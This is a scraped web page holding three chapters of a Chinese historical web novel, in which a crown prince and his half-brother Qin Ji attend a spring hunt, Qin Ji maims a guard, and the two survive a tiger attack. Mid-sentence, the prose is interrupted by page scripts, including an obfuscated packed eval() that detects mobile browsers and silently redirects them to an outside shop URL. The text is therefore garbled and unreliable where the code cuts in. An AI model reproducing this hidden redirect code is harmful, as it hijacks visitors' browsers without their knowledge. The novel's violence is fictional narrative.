$(''.inform'').remove(); $(''#content'').append('' 进小半碗酒,放进几片艾叶,又擦亮火折,点燃纸卷丢进去。等火烧起来,秦寄问:”有石棉吗?就是火浣布。” 萧玠道:“库房可能有。” “算了。”秦寄只吐出这半句,把手掌罩到火苗上方,“解开衣裳,肚子露出来。” 萧玠依言照做,秦寄便将烘热的右掌心覆在他肚脐上。 萧玠哆嗦了一下。秦寄的手掌并不像一个少年的手,粗糙,茧层很厚,按在皮肤上有些痒。 他很喜欢武事。这么小的孩子习武,一定吃了不少苦。 萧玠正出神,秦寄换了新烤热的左手替他捂肚子,问:“看我干什么?” 萧玠笑着摇摇头。 被秦寄照顾的感觉很奇怪,有些心酸,也有些熨帖。两人静悄悄的,谁都没有说话,耳边只有灯火爆响和窗外烟花腾空的声音。 萧玠躺得有些迷糊,不知过了多久,感觉脐上一热,秦寄把茶碗中的艾叶倒进棉帕,捂在他肚脐上,另一只手按揉脐上约莫四指的一个穴位。 萧玠睁开眼睛,看着灯火照亮的少年脸孔,突然说:“对不起。” 秦寄问:“什么?” 萧玠笑了笑,说:“本想带你去城墙上看烟花的。南秦过年热闹,不像这里,冷冷清清的。” “南秦过年也是游神热闹。”秦寄说,“没什么意思。” 那你和我待着会有意思吗? 萧玠没有问出口,他多想在秦寄身上汲取一些他失去的那条亲情血脉的力量,但他知觉秦寄的抵触。秦寄照顾他,不过是为了秦灼,爱屋及乌而已。 自己对秦寄也是如此——只是如此吗? 失神间,萧玠听见秦寄的声音:“怎么了?”他总感觉这句问候要柔和很多。 萧玠笑着,从枕边将早已准备好的红封拿出来,道:“我觉得好多了。阿寄,新春安康。” “萧玠。”秦寄叫他,目光却落在一侧,正向窗外。 他说:“下雪了。” *** 一宵飞雪,翌日清晨,便是个水晶玲珑世界。 那红封秦寄没有收,也没有上床睡觉。萧玠清晨醒来,见床边纸花开满,饱满鲜艳,在阳光下熠熠生辉。 秦寄坐在窗台,那似乎是他很喜欢的位置,把最后一盏花朵拨开簇成。颜色淡红,像一朵绽放的血肉。 萧玠分明没有发出声响,秦寄的目光却投过来,问:“还难受吗?” 萧玠摇摇头,从床上坐起,看着漫延的纸花,“你一夜都没睡?” 秦寄只问:“有河吗?或者池子。” 萧玠领秦寄往春明池去。 一夜雪紧,池水也被白雪覆盖。秦寄也不管,将纸花放在结冰覆雪的池面,反倒像花朵们破雪而出。萧玠看着他推放纸花的手,突然福至心灵地明白缘故,也走上前去,从秦寄身边蹲下,问:“每年初一,他还好吗?” 秦寄道:“我们不过初一。” 萧玠默了一会,低声说:“皎皎出生的那天,我等在外面。” 秦寄托纸花的手一滞,继而行动如故。 “她是我见过最漂亮的女孩,睡得很安静,不哭也不闹。小小的,软软的。”萧玠语气滞涩,“我不敢问阿耶怎么样,也不敢看陛下的脸。我感觉陛下……阿爹他在哭,但我那时候从没有见过他流泪。我很害怕。等人都走了,我进屏风里看到阿耶。他的脸都白了,也是安安静静地睡着。我看到阿爹抱着他哭了。我以为他死了。” 萧玠攥了攥手指,目光无意识洒落池面,“自那之后,他们就经常吵架。每次都闹得很凶。他们以为瞒着我,其实我都知道。我有时候想,如果皎皎还活着,是不是不会这样。” 他呼吸逐渐急促,不得不停下来,缓了一会,继续道:“再后来,阿耶走了。奉皇七年到今年,我和阿爹过了十五年,十五年的初一,他都没有说过这件事。我们该怎么过初一就怎么过。我知道他是怕刺痛我,他知道……我对皎皎,有过怨望。而我一开始是怨恨他,后来……我也怕刺痛他。但越不提,我就越愧对。” 他看向秦寄,秦寄手指被蜡纸染成淡淡红色。萧玠问:“你梦到过她吗?在你梦里,她是多大的样子?” 秦寄拿起最后一朵纸花,道:“你话太多了。” 萧玠笑容僵硬了,嘴唇哆嗦着,想说些抱歉之类的话。下一刻,秦寄的手伸到他面前。 将那朵纸花递给他。 很多年后,萧玠忘记了那天是否流泪,但他永远记得那个可遇不可求的白雪世界,金银红花开满池塘。他看到柳枝居然绽出嫩黄的新芽,像一个男孩硬壳剥开后柔软的心脏。 *** 新年到来,隆冬远去,春暖花开。 一年之计在于春,这句俗话放在萧玠身上最为得宜。他既要主持春祭,又要料理春闱,还要举办春蒐。除此之外,还得关心前方战局,看顾秦寄衣食住行,简直忙得脚不沾地。 不过春祭春闱对秦寄来说没什么乐趣,春蒐却是可以参与参与的。 不用他开口,萧玠也晓得他有这意思。马背上的儿郎困于宫墙,如何不想出去。但须知语言也是一门艺术。 一日吃饭,萧玠便迂回开口:“阿寄,我想请你帮我个忙。” 秦寄正扒拉八宝饭吃,已经是第二碗。他百忙之中看一眼萧玠,意思是讲。 萧玠道:“今年是我第一次主持春蒐,有些怯底。我想了又想,到底得要一个好手帮衬。阿寄,你能不能去?” 秦寄仍在扒饭,含糊道:“你求我?” “是,”萧玠央道,“我求你。” 秦寄唔一声,把嘴里的饭咀嚼吞咽。看他这姿态神色,萧玠心中已拿定七分。果然,秦寄开口:“不是不行,有个条件。” “你讲。” 秦寄手指敲打筷子,“我上场,得请一件东西。” 138.第 138 章 阳春三月,皇太子代天主持春蒐。 皇室四时狩猎,除却娱乐和礼仪因素,亦是一类郑重的军事演习活动。至萧恒登基,更回归到狩猎以助农时的原始意义。如今萧玠主持,沿袭旧俗,安排四方禁军与东宫卫队组织方队,参与狩猎。 郑绥之弟郑缚已有十七八岁,年纪轻轻便做了正四品的东宫卫率,很难说没有其兄余荫的缘故。他出身世家,又是萧玠从小看顾长大,正是春风得意,任谁都要奉承几句。如今正立在旗下,整理盔甲。 左付率一见他,便捧道:“郎官这身甲真漂亮,瞧瞧这金丝络子,只怕价值不菲吧。” 郑缚笑笑,便有右付率接道:“这可是开国的定国公穿过,听说殿下收拾库房见了,特意赐给的郎官的。就连上柱国当年也没受过这样贵重的赏赐呢。” 郑缚得意洋洋,嘴上犹道:“哪里,全仗殿下错爱罢了。” 左付率道:“郎官过谦,殿下此番叫咱们东宫六率与猎,我瞧就是特意叫郎官立威扬面的。到时候夺得魁首,殿下再亲自簪花赏赐,从今往后哪个不知郎官的英名?郎官虽不在侧,殿下还特意在身边留出席位呢。” 郑缚向台上望去,果见萧玠身旁犹设一位子,心中得意,故作为难道:“我们身为皇家卫队,犹有重任在身,这不合规矩。” 左付率笑道:“殿下的心意便是天大的规矩——来了!” 郑缚立即转身列队,同时听到角声钟鼓齐鸣,一队黑色大旗如同乌云刮过碧空,旗下左右卫为两翼,簇拥太子萧玠姗姗而来。 为适宜狩猎典礼,萧玠未着礼服,穿一件玉白色骑装,在山呼千岁声中抵达上林猎场。 左付率远远望见,低声道:“殿下过年倒难得丰润了些。去年回京之后,瘦得有些怕人。” “老天保佑,瞧着精神头比年前好了不少。”右付率也叹气,接着伸头张望,道,“殿下领着的是谁,从前怎么没见过?” 郑缚闻言,分神去看,见萧玠身后跟着一个红衣黑马的少年。气质极为冷冽,那样鲜艳的火红色穿在他身上竟如霜打枫叶。 郑缚还没看清面孔,已经听左付率低声叫道:“那弓,他手里拿的是不是落日弓!” 郑缚凝神眯眼,片刻后,浑身一震。 龙筋,檀身,白虎图,火焰纹,不是落日大弓又是哪个! 右付率吸气:“听闻落日弓本是秦公所持,秦公当年是殿下的太师,去京前以此弓相赠。殿下珍爱异常,从不肯示人,如今竟叫人当玩意使用——这小子是什么来历?” 郑缚抿紧嘴唇,眉头越蹙越紧,直到萧玠登台后,那少年紧随而上,从一旁的席位坐下来。 * 秦寄一坐下,一队身穿胡服的宫人便捧托盘鱼贯而上,五彩斑斓的身影刮过,露出萧玠起立的身姿。 人群安静下来。萧玠向旁摘过一张弓。秦寄只消一眼,便辨认出那紫杉木的弓身,牛筋掺丝的弓弦。弓轻捷漂亮,很适合萧玠使用。选弓的人所费心思不少。 他拿弓——他要下场? 正想着,一缕光芒从萧玠指间射向秦寄眼中。秦寄看到,他拇指上戴一枚白玉扳指,其上有裂纹,被不知什么颜料染成暗褐色。 这时萧玠已经搭箭在弦,手指一松,嗖一声风声飞动后响起啪嗒绽裂的声音。不远处,一只悬挂树梢的葫芦当中开裂,钻出一只鹁鸽,扑打翅膀飞向天际。 大内官秋童当即颂道:“射瓠成,万物发,春蒐始——” 按理说,在场臣工当谢恩行动。不远处的旗下却响起一个人的声音:“殿下,咱们这次狩猎可有什么彩头?” 秦寄目光顿时射去,在东宫六率的队伍前看见一个跨马打头的年轻人,身上铠甲金光熠熠,堪称绝品。 这样僭越的行为,萧玠毫无呵斥之意,竟顺着话头将腰上玉带摘下来,一并放在托盘上,含笑道:“郑郎官开口,岂敢不从?此物是本宫冠礼之日陛下所赐,今日谁能拔得头筹,本宫当以此相赠。” 得太子如此顺应,郑缚更是洋洋得意,正想再说什么,便见向旁垂首。众目睽睽下,竟同那红衣少年说小话。 秦寄问:“就这个?” 萧玠笑道:“你还想要什么?” 秦寄道:“不簪花吗?” 萧玠一愣,似乎没想到这事还能作为“赏赐”来郑重提及,笑道:“簪,宫花早已选好了。” 秦寄这才立起来,将落日弓擒在手中,道:“只给魁首?” 萧玠道:“三甲都有的。” 秦寄眉毛没有耸动一根,但似乎有发皱的趋向。他重复道:“只给魁首。” 萧玠这才听出来,这并非询问而是要求,只觉得他孩子气,失笑:“依你。那你可要夺魁回来,我们朝中的将士儿郎也不是好相与的。” 秦寄嘁一声,从高台上一跃而下,正跳到一匹黑马背上。 郑缚发现,那匹骏马没有马具。 那红衣少年看也不往这边看,只盯萧玠的脸,但盯得又很奇怪,像一种敌视,又像一种侵略,明明立马台下,却有一种错位的犯上感。 郑缚感觉很不适,说不清是因为他这倨傲的态度,还是他如此倨傲,萧玠竟还温柔顺从。 * 台下,秦寄像想起什么,冲萧玠叫道:“扳指。” 礼乐声盖天,萧玠没有听清,低头问:“什么?” “扳指。”秦寄摊手,既让他看清自己光秃秃的手指,也是一个索要的姿势。 萧玠手指掠过白玉扳指,有些迟疑,到底脱下来递给他。 谁不知此物太子日日佩戴,珍爱异常。这少年人能直接让太子摘扳指给他,这个魁首夺或不夺,他已经赢了。 左付率倒吸口气,“这小子究竟是什么来头?” 郑缚脸色暗沉,不语。 那边右付率也摇头,“感觉殿下这几日也奇怪的很。今儿不还下了诏令,严禁赴猎人等议论陛下亲征之事。这事咱们也不敢议论啊。” 说话间,一道角声吹彻天际,四面画鼓由彩带飞舞的鼓槌擂动,狩猎正式开始了。 郑缚刚拨转马头,便见一骑黑马如风疾驰而过,眼前只留下一抹火焰般的残影。郑缚咬紧后牙,立即挥鞭喝马入林。 上林树木丰茂,太阳当空射下,被树影分割成丝丝条条。郑缚深得东宫心意,左右付率打定注意跟着他,便着意替他挣这个脸面。 左付率射中一只斑鸠,又嫌其太小,去而不用,问:“要打什么猎物,郎官可有定夺?” “狩猎要么就多,要么就大,要么就稀罕。”郑缚拿弓一拨草丛,一只灰兔蹦跳而出,“听说早前有些猛兽,肃帝朝时还出过花豹。但前几年有猞猁下山侵扰百姓,陛下带人搜罗过一次,自那便少了。若只是些寻常鸟兽,如何入得殿下的眼。” 右付率说:“不打准。之前总事报过,说上林苑见过老虎,但禁军跑了几次,连跟虎毛都没摸到。” 左付率道:“也不一定要大要稀罕,得殿下心意才是要紧。殿下心爱些什么物件,郎官肯定最清楚不过。” 郑缚想了想,“前几年我大哥给殿下打过一条白狐皮。” “白狐,岂不是殿下冬日常穿的那件大氅?”左付率笑道,“殿下同上柱国情深义重,其实郎官也不必拘什么猎物。殿下和郎官到底是一家子,哪有不亲家里反向外人的道理?” 萧玠冥婚一事虽为萧恒着意遮掩,到底有风声流于人言。其中内情,郑缚自然一清二楚,板脸训斥道:”胡说什么?” 左付率在官场行走多年,极会看人脸色,听他语气轻飘,便故作玩笑道:”只可惜天妒英杰,上柱国若还在,只怕郎官私底下叫声阿兄阿嫂的也使得。都说长嫂如母,殿下怎能不慈爱郎官呢。” 见郑缚并未勃然发怒,二人便知捧到他心坎上。军中说话常荤素不忌,右付率也道:“这是咱们中原,人家北人朝廷还讲究什么兄终弟及,长兄不在了,别说家财,更能续娶寡嫂为妻。若按他们的道理,郎官还要直上……” “青云”两个字尚未出口,林子深处便射来一阵利飕风声——简直不像风,分明是支箭——真的是支箭! 右付率如何也是军中好手,当即滚下马背,一只靴子挂在马镫上跌在地下。身体坠地的同时,那支长箭嗡地撞在他身后的柏树上,树干树叶瑟瑟发抖,正中原该是右付率咽喉的位置。 郑缚当即喝道:“是谁暗箭伤人!” 左付率打马过去,见那杆箭几乎贯入树身,只留箭尾在外,不由叫道:“好强的弓力!” 右付率从地上爬起来,看清那箭大惊失色,“郎……郎官,你看!” 郑缚探身看去,见那箭羽流光溢彩,金光闪耀。 左付率低声道:“四羽,雕翎……是太子殿下!” 右付率浑身抖如筛糠,忙上前抱住郑缚马镫,叫道:“郎官救我!属下口无遮拦,但实无犯上之意啊!” 郑缚脸色发青,若真让他因此失爱于萧玠,把右付率生吞活剥都是不能抵的。在他发怒前左付率先拦住,急声道:“此箭入木太深,决计不是出自殿下之手!” 郑缚当即拔出腰剑,于马上喝道:“是谁僭用东宫羽箭,滚出来!” 一支长箭追着他的话音疾飞而来! 郑缚已有防备,立即抬剑格挡,金铁相击时他几乎以为剑面被震成碎片。郑缚咬牙切齿,正要纵马上前,一匹骏马已从林深处疾驰而来。 是他预料中的红衣黑马。 郑缚脸部肌肉一收,硬生生道:“阁下背地放冷箭,不是正道吧?” 那少年放下弓箭,语气冰冷,“他的舌头,或你的眼珠子。两个,选一个。” 郑缚呵呵笑道:“好大的口气,倒要看你有没有这个本事!” 话虽如此,郑缚双眼却紧盯对方,不敢放过他半分举动。他直觉这个看似冷淡的红衣少年比整个上林全部野兽都要凶险。 出乎意料,那少年人反手将落日弓挂到背上。 接下来,他做出一个奇怪的举动。 他撕裂一条袍边,抬手系在额头上。 左付率低声问:“这是什么意思,是把这布条当抹额吗?” 郑缚心中也拿捏不定。但已经从少年冷如冰霜的脸上品出宣战的意味。 什么人宣战前非得系条抹额? 答案即将闪过脑海时,那少年人已经双腿打响马腹,骏马狂飙上前。郑缚看到,他手中不知何时已拔出一把短刃—— 不,是剑,是一把镶嵌虎头、和萧玠随身武器别无二致的长剑! 神思闪烁之际,一股树叶泥土的腥气扑面。那少年人分明没有任何号令,他胯卝下黑马便如有灵犀地直刺向前,即将驰到郑缚面前时少年突然从马背上一掠而起,像一只红色大鸟毫无征兆地举翼。 右付率目瞪口呆时尝到一股热流,一截软乎咸腥的东西掉出嘴巴。 他后知后觉地意识到那是他的舌头。 右付率捂嘴叫嚷间,那少年已像收回利爪一样收回剑锋,没有任何转折地刺向郑缚眼睛。 一股锋利冷风带钩子一样剜向眼眶,郑缚放声大叫,叫声尽头突然传来另一个人远远的声音:“秦伯琼!” 他仍感觉到那剑刃,感到那股削碎睫毛的可怕的冷风,可在这一刻,那恐怖的力量在距他眼球不过一个指尖的距离静止了。 是什么让他停住的? 在萧玠身影出现在视野中时,郑缚浑身一松,恐惧这才化成泪水,哭叫道:“殿下,殿下救我,殿下救我!” 萧玠马蹄一停,就被地上的右付率抱住靴子,从他呜呜含糊的声音中看到他口中鲜血和那半条舌头,一下子如坠冰窟。 他哆哆嗦嗦,拿鞭柄指着秦寄,“你干的?” 秦寄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16762830|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不答。 萧玠深吸口气,“你先把剑放下。” 长剑一动未动。 萧玠喝道:“我叫你把剑放下!” “了不起,”秦寄冷笑,“你倒敢支使我了。” 萧玠劈手要夺他宝剑。秦寄手握得极死,两人便这样相持。 萧玠胸脯起伏勉强缓和,问:“什么缘故?” 左付率当即开口:“卑职等随卫率打猎,说到上柱国骑□□妙,难免追忆当日英姿。说起上柱国忠心耿耿,当为殿下第一臂膀。不知如何,惹恼了这位贵人。” 听到郑绥,萧玠脸部还是不自觉颤抖一下。他尽量缓和声音:“阿寄,你怎么说。” 秦寄冷笑一声,压根没有争辩的意思。 萧玠道:“我知道你不是个暴戾的孩子,到底为什么缘故?” 秦寄扭头看他,绽开笑容,“我暴不暴戾,你马上就知道了。” 说话间他手腕一振,剑尖嗖然一响,当即扫向郑缚眼睛。 一股鲜血四溅。 郑缚跌下马背,捂住眼睛大叫起来,感觉液体夺眶而出,叫到最后嗓子喊哑,发现没有感到疼痛。 他还能视物! 眼前,一只手夺住剑锋。鲜血从萧玠指缝蜿蜒而下,滴在郑缚脸上。 他神思一下子回转,当即放声叫道:“来人,有人刺驾!快来人!保卫殿下!” 见他屁滚尿流的作态,秦寄冷嗤一声,叫道:“松手。” 萧玠道:“你到底要怎么样?” “我要他的招子。”秦寄冷声道,“萧明长,你别给脸不要,真当我削不了你这只手?” 萧玠手上加力,剑锋已嵌入掌心,再深一分就要割断骨肉。 东宫卫队闻声赶来时那把剑刚被萧玠掷在地上,他那只右手因疼痛不可控制地颤抖,血珠也无规则地四下洒落。 东宫卫见此,立即要擒秦寄下马,却被萧玠当即喝断:“住手!” 他找出帕子包手,镇定道:“本宫和他闹着玩,自个把手割破了,大伙都下去,各自打各自的猎物。角声再响,依例评等。” 萧玠交涉时分,郑缚已经恢复理智,在只言片语和种种线索中拼凑这个神秘少年的身份。 落日弓,穿双耳,不用马具,还有那把匕首……萧玠不惮于他现身人前,却对他的身份依旧保密……还有那最最关键的称呼—— 阿寄,伯琼。 真相从来没像现在一样迅捷,闪电般滑过郑缚脑海。 郑缚不是郑绥,无从知晓萧玠隐秘盘错的家族藤蔓。他自以为洞察一切,不管不顾地出言讽刺:“我当什么贵人大驾,原来是南秦少公,区区一质子耳!如今不过一条丧家之犬,还敢向天家逞威行凶?是学你自顾不暇的娘,还是你被废黜远逐的爹!” 秦寄眼中凶光一闪,手腕已如蓄势蹿击的蛇头,刚欲行动,已被一道清脆响声打断。 萧玠一巴掌打在郑缚脸上。 包手的帕子被打散,在郑缚脸颊留下半个鲜艳的血掌印。 郑缚愣神半天,才接受自己被萧玠在人前打了,委屈地叫道:“你打我……殿下,为了这个南蛮竖子,你打我?!他险些要了我的性命,我差点就成了瞎子!” “秦公一地之主,是你一个黄口小儿能诋毁的?”萧玠冷声道,“在本宫驾前大呼小叫,郑靖之,你有没有半点人臣的规矩!” 左付率已看出萧玠其实是截断秦寄发作,有回护之意。可郑缚到底年纪还小,加上从未经他如此教训,竟哇一声哭起来,不哭别的,只哭大哥。 萧玠心中一痛,只觉头晕眼花,强忍眼泪道:“你也知道哭你大哥……正因为郑宁之不在,本宫才代为管教。阿缚,你大哥不是你的挡箭牌,我和你大哥如何,也不是你该指点议论的。再有下次,不是一个巴掌这么容易了。” 萧玠喝道:“还不向少公赔礼道歉!” 郑缚咬紧嘴唇,就是不理,把弓箭掼在地上,一个人往林子里跑去了。 萧玠揾一把脸,冲左付率道:“你去盯着他,别再出事。叫军医给他止血看伤。今夜来东宫谒见,我有话问你。” 等左付率扶右付率上马离去,偌大林中只剩下一红一黑两匹骏马,和马背上冷漠相对的两个人。 萧玠神色难掩疲倦,道:“阿寄,我知道你是事出有因,可我们为什么不能好好说话?你受委屈,为什么不能直接告诉我?” 秦寄却道:“什么意思。” 萧玠一愣。 秦寄冷声道:“质子,丧家之犬。他是什么意思。” 萧玠心中一震。 他不知道自己如今是什么神情,但从秦寄反应来看,自己脸色一定变了。 秦寄拽过马头,冰冷道:“萧玠,你真当我是傻子。” 萧玠忙要拉他,还没唤出口,秦寄双腿已经狠狠敲打马腹,黑马宛如箭矢飞速往林外射去。 萧玠也顾不得手上伤口,忙甩鞭要追。马蹄疾驰在飕飕树影和根根阳光之间,疾风裹挟的沙尘乱叶拍打脸颊。 萧玠策马狂追,可秦寄实在太快了。这一会别说人影,连马蹄声都听不见了。 一到春天,萧玠的肺症就容易发作,被冷风灰尘一激,忍不住大声呛咳起来。他不得不勒马停住,习惯性从腰间去摸盛放枇杷膏的小瓶。 ……早就空了。 萧玠原地呆愣住了。 郑缚含泪控诉的脸又出现在眼前,他哭着喊大哥。大哥你这么年轻怎么就走了。大哥你走了殿下就不认我了。大哥…… 心痛之感还未消散,萧玠的身体突然产生新的异样。 是人未彻底消退的动物的本能,在置身危险环境时产生的应激反应。 萧玠听到沉重的脚步声,不像人的声音。 他寒毛一根一根竖立起来。 身后不远处,轰隆一阵虎啸。 139.第 139 章 萧玠僵立在原地,骑不动马也喊不出声。身下红马浑身颤抖不止,带着萧玠也哆嗦起来。他探手去拔匕首,哪怕他知道,这对一头猛虎不过是一根入肉的木刺。 不行,不能逃跑,会刺激虎类的猎食反应。不能转身,不能看它的眼睛。不能装死,虎类很可能会继续攻击尸体。 要慢慢、慢慢地离开。 萧玠竭力挽紧缰绳,双脚轻轻敲打马镫,力图慢慢跟身后野兽拉开距离。 但人有遏制恐惧的意识,马却难有。 一阵吹过虎皮虎毛的风也吹过红马鼻头,萧玠感到大股大股湿雾从马鼻喷出,继而红马发出一串难以遏制的低鸣。几乎是一瞬间,一道飓风从身后响起,地面发出又快又猛的震动。 那老虎出击了。 不等萧玠甩响马鞭,红马已撒开四蹄迅速奔跑起来。一场生死时速展开了。 急速狂飙中不断有飞叶扑面飞鸟激荡,金针般的阳光刺得萧玠睁不开眼。他不敢回头看,但他不用看也感觉到,那老虎越来越近越来越快。他几乎能闻到皮毛混合草木和腐肉的腥臭气味,这一刻,童年深处的噩梦再度张开血口将他吞掉。 他以为自己已经遗忘,但他只是成功自欺而已。他听到也感受到猛虎腾空的声音和重量,像一根擎天巨柱向自己倾轧挥舞而来——这一刻他又变回奉皇四年那个马背上手足无措的小孩子。 当年是阿耶冒死从虎口下抢回他。可现在阿耶不在,阿爹也不在,没有人会救他——这种忠心和勇气都无法战胜、只能由本能克服的恐惧跟前,除了生他养他的人,谁能不管不顾地为他和死神搏斗呢? 在老虎即将扑他在地的前一刻,一道巨大的冲力已经将他撞下马背。他感到一双手臂紧紧抱在他背部,那火一样炙热的胸膛压在他脸上,他闻到这人身上的气味——他用鼻子就把他认了出来。 萧玠一下子活过来,声嘶力竭喊道:“别管我……你别管我,你走,你先走!” 但秦寄,这个和他血脉相连的男孩儿,这个不管何种原因屡屡以德报怨的他的兄弟,怎么可能不管他?哪怕他总用淬毒的言语中伤他,但怎么可能放由他这么死呢? 几乎是秦寄抱住他滚到草地上的一瞬间,猛虎已经调转势头向二人凌空扑来。秦寄不退反进,手中匕首抽作长剑,从空中也从猛虎颈边响起飒飒风声。 这时候萧玠才看清那头老虎。吊睛白额,毛色斑斓,比当年的昆刀还要大上一半。 秦寄似乎要引它注意,一块石头掼向他面门,口中喝道:“畜生,往这里!” 老虎果然调转势头,不在顾萧玠,腾身向秦寄扑去。 秦寄当即踩树一跳,一跃跃到老虎身后。那虎将一棵成人环抱的柏树扑作两截,高树栽倒在地,阵阵尘土树叶飞扬后露出砸陷的深坑。 老虎见一击未中,血红大口里发出一阵咆哮,直把整片山林震得地动山摇。 秦寄杀过狼,险些杀尽半条性命。他不是莽夫,计较出此时空手杀虎无异于自谋死路。只要能拖到禁军赶到——再挨几刻、再挨几刻就好! 他有意周旋,老虎却没有。那条虎尾梆梆倒竖,如同铁棒向秦寄横扫而来。击断的树干树枝轰然倒落,激起大片尘土。 秦寄身手轻捷,老虎见击他不中,立即掉头往萧玠扑去。萧玠闻到它口中久食生肉的腥臭和蝇虫围簇的皮毛气息,几乎在他绿莹莹的眼里看到自己的倒影——和当年从昆刀眼中看到那个孩子的影像一样。 但下一刻,一个比老虎更小、更轻盈、跳跃更高、杀意更浓的身影凌空而上,萧玠只能感受到他盖过天光的黑影,以及紧接着一声宛如霹雳的咆哮。 虎口在距离萧玠不足一尺的位置前停住了。 一把朱红大弓套上虎头,小儿手臂粗细的弓身死死勒住它咽喉。 如果说猛虎刚才是因攻击落空而愤怒,现在已经被受伤完全激发凶性。萧玠只觉它脚掌往身边一蹬,像一只重型战车的车轮撞在地上,当即掀身要把秦寄扫到身下。 秦寄死死扳紧弓身,冲萧玠叫道:“快走!” 人呢,禁军怎么还不到……人怎么还不到! 萧玠爬起来的同时,秦寄拔剑刺向老虎眼睛,鲜血爆破四溅,吼声震动如雷。 他刺瞎了老虎一只眼睛。 几乎在一瞬间,萧玠看到虎背毛发根根耸立,宛如丛丛野草摇动。紧接着,老虎在林中疯狂突奔起来,铁桶般的身躯撞折树木,试图将身上这个可恶要命的动物摔落身下。 而秦寄像一只吸血的虻虫,叮住虎皮死死不放。 不知哪一瞬,萧玠突然听到一丝异于打斗的声音。 喀嚓一声。 他猝然望去,见猛虎已然松脱控制,秦寄手中只剩赤练蛇尸般的半条弓身。 落日弓断了。 下一刻秦寄被伤虎掀落虎背。 樾州夜晚狼群扑翻秦寄的情景就这么再现了。 这一刻萧玠什么都意识不到。他意识不到飞奔赶来的禁军队伍,意识不到巨型弩箭射空在老虎周身……等他意识恢复之时,他已经站在老虎身边,大汗淋漓,浑身鲜血。 老虎身躯像山崩一样塌落下去,萧玠看到它后颈镶嵌一支前锐后锋中有起脊的铁质矛头,铁矛拼命捅刺,在虎皮开出一个鲜绿血液咕嘟喷涌的窟窿。 他感觉有人试图搀扶他,试图和他争夺什么,他正死死握着什么不放——那杆武器正捏在他手中。 不知什么时候被他从禁军手中抢过来的、长约一丈的铁质虎枪。 那头死虎被抬开,被绿血浸透的少年身体露出来的一瞬,萧玠状若疯狂地扑到他身上。 他哭喊,他号叫,他拼命去擦秦寄浑身绿油油的鲜血,那血像层黏腻的尸油把秦寄浸泡得像具万年不腐的尸首。萧玠哭着哭着惊天动地地咳嗽起来,咳得什么声音都听不到。 混乱中,有人紧紧持住他双手,他朦胧看见秦寄死而复生,从一波绿泉中重新绽放,他绿光闪烁的鲜血淋漓的手抓紧萧玠手掌。 萧玠抱住他的脸,额头砸在他额头上,眼泪噼里啪啦往他脸上掉。他快被那老虎浓绿的尸气淹没了,强撑着一口气:“阿寄,阿寄你没事,谢天谢地你没事……你……我……” “萧玠,秦寄急声大喊,“萧玠!” 这是萧玠失去意识前听到的最后声音。下一刻他全身脱力地栽倒在秦寄怀里。那样一个充满春天气息的绿色怀抱,血气涌动成泥土草木的混合腥气把他紧紧包裹。 双眼闭合后萧玠看到一幅神奇景象。他看到自己手持虎矛冲上前去,贯穿虎颈后在虎身下抱出一个受惊流泪的四岁的孩子。那孩子比依靠父母还要亲密地紧紧依靠他。 没有人比萧玠更认识他。 他把自己从近二十年的噩梦中解救了。 *** 春蒐典礼以皇太子遇虎为结局仓皇结束。太子萧玠不要搀扶,当先走出山林,那头畜生为三人扛抬在后,阳光灿烂下像一件象征荣耀的裘衣。 奉皇四年后,“老虎”和“太子”两个符号构成梁王朝对于皇室衰落的恐怖记忆,但如今这段记忆的历史被萧玠删改在当时当地。抢在太子遇险是否征兆天子不利的流言散布前,萧玠即兴编织一篇洋洋洒洒的猎虎感言,把自己转危为安的处境作为王师必将克敌制胜的铁证。 话音结束时他看到台下秦寄的脸,少年脸上虎血未涸,像幽绿闪烁的鬼火。 萧玠明白,今日将是秦寄行动之时。 而秦寄明白,上林苑并非叛出长安的圣地。 他不仅是段映蓝的儿子,更是南秦的太子。他可以暴露身份,就算在林中杀掉郑缚,也能搪塞成意气相争导致的过失杀人。 但公开叛走则不同。 那说明南秦的储君,做出和秦灼截然相反的政治选择。 这是一件可以大做文章,甚至可以招致倾国之危的灾祸。 秦寄可以走,但今时今日尘埃未定,他不能代表南秦叛走,只能代表个人出走。百官臣工众目睽睽之下,不是一个人消失的好时机。 秦寄寻觅良机,萧玠在戒备他觅得良机。 仪式结束时,萧玠从宫人手中取来宫花,姹紫嫣红盈盘绽放。萧玠问:“你想簪什么?” 秦寄目光落在他脸上,没有温度,没有感情。他不说话,又把头扭回去。 他似乎在观察什么。 萧玠追随他眼神望去,只看到一片茫茫旗帜和无数穿戴甲胄 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这时天已经完全漆黑,旗帜在夜间幽幽地像鬼。萧玠两腿耷拉在红马两侧,看向不远处月亮底秦寄的身影。月光把他的小麦皮肤浇铸成铜铁之青,但把他的眼睛熔成一对萎缩的蚕茧,看上去像一个无瞳孔的人。 禁军上下接到萧玠指令,戒备秦寄的每一个动作,甚至击打马腹和拍打马颈的节奏都被记录下来。但返程路上,秦寄毫无异样,比在场任何人都像一个正常人。 太子在卫队簇拥下临近宫城。继而嘉福门开、嘉福门闭,重明门开、重明门闭,嘉德门开、嘉德门闭。 东宫内宫之前,最后一道崇教门开。 太子仪仗入内。 崇教门闭。 萧玠一口气松下来。如此彻底入内宫,说明秦寄没有今晚出走的打算。还有整整一夜,自己可以和他慢慢谈。 这时他听到秦寄叫他:“萧玠。” 萧玠回头,还没看清秦寄脸孔,□□红马突然像被霹雳炸痛,撒开四蹄向前狂奔而去。萧玠竭力挽缰却毫无作用。 他在剧烈颠簸里听到卫队追赶而来的声音和哀痛的马鸣声——秦寄刚刚手中寒光闪烁——他一剑刺在马臀上。 他要做什么? 萧玠顾不得急飚马蹄,掉首回望,见那匹黑马伫立宫街尽头,马背空空。 一团残叶般的黑影自地面刮上城墙——城墙! 秦寄已经爬到城墙之上! 萧玠厉声喊道:“崇教门,去崇教门拦住他!快!” 但无法控制的红马依旧吸引了绝大部分的卫队,只有小拨人马折返拦截——秦寄已经翻上城头了! 